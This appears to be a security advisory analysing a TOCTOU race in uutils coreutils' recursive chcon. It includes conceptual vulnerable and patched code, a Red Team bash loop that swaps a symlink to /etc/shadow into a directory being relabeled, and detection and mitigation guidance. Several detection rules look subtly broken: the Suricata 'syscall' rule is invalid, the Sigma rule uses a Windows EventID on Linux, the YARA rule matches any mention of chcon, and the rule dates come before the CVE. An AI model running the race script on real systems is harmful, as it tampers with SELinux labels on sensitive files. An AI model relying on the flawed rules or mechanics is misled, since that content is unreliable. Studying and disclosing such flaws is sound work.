CVE-2026-35376

Executive Summary

CVE-2026-35376 is a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the chcon utility of uutils coreutils, specifically during recursive operations. The flaw arises because the implementation resolves recursive targets using a fresh path lookup (fts_accpath) rather than binding the traversal and label application to the specific directory state encountered during traversal. Since these operations are not anchored to file descriptors, a local attacker with write access to a directory tree can exploit timing-sensitive rename or symbolic link races to redirect a privileged recursive relabeling operation to unintended files or directories. This breaks SELinux administration hardening expectations and can lead to unauthorized modification of security labels on sensitive system objects.

The vulnerability has a CVSS score of 4.5 (Medium), with a local attack vector, high attack complexity, and low privileges required. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch and the potential for privilege escalation in SELinux-managed environments make this a significant concern for security-conscious organizations.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. The package is distributed via package managers like cargo (Rust's package manager) and may be included in Linux distributions as an alternative to GNU coreutils. Organizations using uutils coreutils in production or development environments should assess their exposure, particularly if SELinux is enforced and chcon is used in automated scripts or administrative workflows.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing and race condition manipulation.
• Privileges Required (PR): Low (L) – The attacker needs write access to a directory tree.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the attacker's intended scope.
• Confidentiality (C): None (N) – No direct data disclosure.
• Integrity (I): High (H) – Security labels on sensitive files can be modified.
• Availability (A): None (N) – No direct denial of service.

Threat Level: Medium. The vulnerability requires local access and high attack complexity, but successful exploitation can lead to unauthorized modification of SELinux labels, potentially enabling privilege escalation or bypass of mandatory access controls.

Deep Dive & Mechanics

The chcon utility in uutils coreutils is used to change SELinux security context of files. When operating recursively (e.g., chcon -R), the utility traverses the directory tree using fts (file tree walk) functions. The vulnerability lies in the use of fts_accpath, which provides an absolute path to the current file during traversal. However, this path is resolved fresh each time, rather than being anchored to the file descriptor of the directory entry encountered during the initial traversal.

Race Condition Scenario:

1. A privileged process (e.g., root or SELinux administrator) runs chcon -R /some/directory.
2. The fts traversal reads the directory structure and records paths.
3. Between the time the path is recorded and the time chcon applies the new label, an attacker with write access to the directory tree can:
   • Rename a legitimate file to a different name.
   • Create a symbolic link pointing to a sensitive file (e.g., /etc/shadow or a system binary).
4. The chcon utility then follows the symbolic link or accesses the renamed file, applying the new SELinux context to the attacker-chosen target.

This is a classic TOCTOU race condition, where the check (the directory traversal) and the use (the label application) are not atomic and are not bound to the same file descriptor.

Why fts_accpath is problematic: The fts_accpath field returns the path as a string, which is then used in subsequent system calls (e.g., lsetfilecon). If the file system changes between the fts_read call and the lsetfilecon call, the path may point to a different file. Using file descriptors (e.g., openat with AT_FDCWD or a directory fd) would prevent this by binding the operation to the specific inode encountered during traversal.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In chcon recursive implementation
while let Some(entry) = fts.next() {
    let path = entry.accpath(); // Fresh path lookup each time
    // Race window: attacker can change what 'path' points to
    lsetfilecon(path, new_context);
}

Patched Code (Conceptual):

// Use file descriptor to anchor the operation
while let Some(entry) = fts.next() {
    let fd = entry.fd(); // File descriptor from traversal
    // Use fsetfilecon or similar fd-based call
    fsetfilecon(fd, new_context);
}

The patched version would use file descriptors obtained during the initial traversal, eliminating the race condition because the file descriptor is bound to the specific inode, regardless of subsequent file system changes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system running uutils coreutils with chcon (vulnerable version).
• Write access to a directory tree that is being recursively relabeled by a privileged process.
• Ability to create and delete files/symlinks quickly (e.g., using a tight loop).

Exploitation Steps:

1. Identify a target directory that is regularly processed by chcon -R (e.g., a cron job or admin script).
2. Create a race condition script that continuously renames files and creates symlinks:

   #!/bin/bash
   TARGET_DIR="/some/directory"
   SENSITIVE_FILE="/etc/shadow"
   while true; do
       # Create a symlink in the target directory pointing to sensitive file
       ln -sf "$SENSITIVE_FILE" "$TARGET_DIR/race_file"
       # Wait for chcon to process
       sleep 0.01
       # Remove symlink and create a regular file to avoid detection
       rm "$TARGET_DIR/race_file"
       touch "$TARGET_DIR/race_file"
   done
   

3. Run the race script in the background while the privileged chcon -R command executes.
4. If the race is successful, the SELinux context of the sensitive file will be changed, potentially allowing unauthorized access or bypassing SELinux policies.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for rapid file system changes in directories processed by chcon -R.
• Use auditd to log lsetfilecon or setfilecon system calls and correlate with file system events.
• Implement file descriptor-based monitoring to detect when a file is accessed via a path that differs from the original traversal.

Prevention:

• Avoid using chcon -R on directories where untrusted users have write access.
• Use SELinux policy tools that operate on file descriptors (e.g., restorecon with -R and proper file descriptor handling).
• Apply the principle of least privilege: run chcon only when necessary and with minimal permissions.

Hunting:

• Search for logs indicating unexpected SELinux context changes on sensitive files.
• Look for processes that create and delete symlinks rapidly in directories processed by chcon.

Indicators of Compromise (IOCs)

• File System Events: Rapid creation and deletion of symbolic links in directories processed by chcon -R.
• System Calls: Unusual lsetfilecon or setfilecon calls targeting sensitive files (e.g., /etc/shadow, /etc/sudoers, system binaries).
• SELinux Audit Logs: AVC denials or context changes on files that should not be modified.
• Process Anomalies: High-frequency rename and symlink system calls from non-privileged processes.

Detection Engineering

YARA Rule

rule CVE_2026_35376_TOCTOU_chcon {
    meta:
        description = "Detects potential TOCTOU exploitation attempts against uutils chcon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-35376"
    strings:
        $s1 = "chcon" nocase
        $s2 = "fts_accpath" nocase
        $s3 = "lsetfilecon" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2026-35376 TOCTOU Exploitation via chcon
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects rapid file system changes that may indicate TOCTOU race condition exploitation against uutils chcon
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35376
logsource:
    category: file_event
    product: linux
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: '/some/directory/'  # Adjust to monitored directory
    condition: selection
    timeframe: 5s
    condition: selection | count() > 10
falsepositives:
    - Legitimate administrative scripts
level: medium

Suricata Rule

alert syscall any any -> any any (msg:"CVE-2026-35376 TOCTOU chcon exploitation"; syscall:"lsetfilecon"; threshold: type both, track by_src, count 5, seconds 10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Avoid recursive chcon on untrusted directories: Do not use chcon -R on directories where non-privileged users have write access.
2. Use file descriptor-based tools: Prefer restorecon or other SELinux utilities that use file descriptors to avoid TOCTOU issues.
3. Monitor and audit: Enable auditd to log lsetfilecon calls and monitor for anomalies.

Long-term Fix:

• The uutils project should patch chcon to use file descriptors obtained during the fts traversal instead of resolving paths fresh each time. This can be done by using fts_info to get the file descriptor and then calling fsetfilecon instead of lsetfilecon.
• Until a patch is released, consider using GNU coreutils' chcon which may have different implementation details (though similar vulnerabilities may exist).

Workaround:

• If chcon must be used recursively, wrap it in a script that locks the directory (e.g., using flock) to prevent concurrent modifications during the operation.

Valters IT

{/* [Security Hash: 912809D8D2623FB534313E5C] */}